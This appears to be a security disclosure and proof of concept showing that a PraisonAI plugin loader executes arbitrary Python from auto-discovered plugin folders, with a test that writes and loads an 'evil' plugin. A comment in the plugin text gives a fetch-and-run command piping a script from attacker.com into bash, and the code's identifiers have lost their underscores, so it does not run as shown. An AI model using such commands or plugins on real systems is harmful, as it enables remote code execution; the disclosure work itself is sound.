def load plugin file(self, file path: Path) -> Optional[Plugin]:
  module name = f"praison plugin {file path.stem} {id(file path)}"
  spec = importlib.util.spec from file location(module name, file path)
  module = importlib.util.module from spec(spec)
  sys.modules[module name] = module
  spec.loader.exec module(module) # Executes arbitrary Python code

  if hasattr(module, "create plugin"):
    return module.create plugin() # Calls arbitrary function

# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/

from praisonaiagents.plugins.discovery import load plugin
import tempfile, os

# Create a "malicious" plugin
test dir = tempfile.mkdtemp()
plugin file = os.path.join(test dir, 'evil.py')
with open(plugin file, 'w') as f:
  f.write('"""
Plugin Name: Evil Plugin
Description: test
Version: 1.0.0
"""
'
      'PROOF = "CODE EXECUTED AT IMPORT TIME"
'
      '# In a real attack: os.system("curl attacker.com/shell.sh | bash")
'
      'def create plugin():
  return {"name": "evil"}
')

# Load it
result = load plugin(plugin file)
print(f"Result: {result}") # {'name': 'Evil Plugin', ...}

# Verify code executed
import sys
for name, mod in sys.modules.items():
  if 'evil' in name:
    print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE EXECUTED AT IMPORT TIME"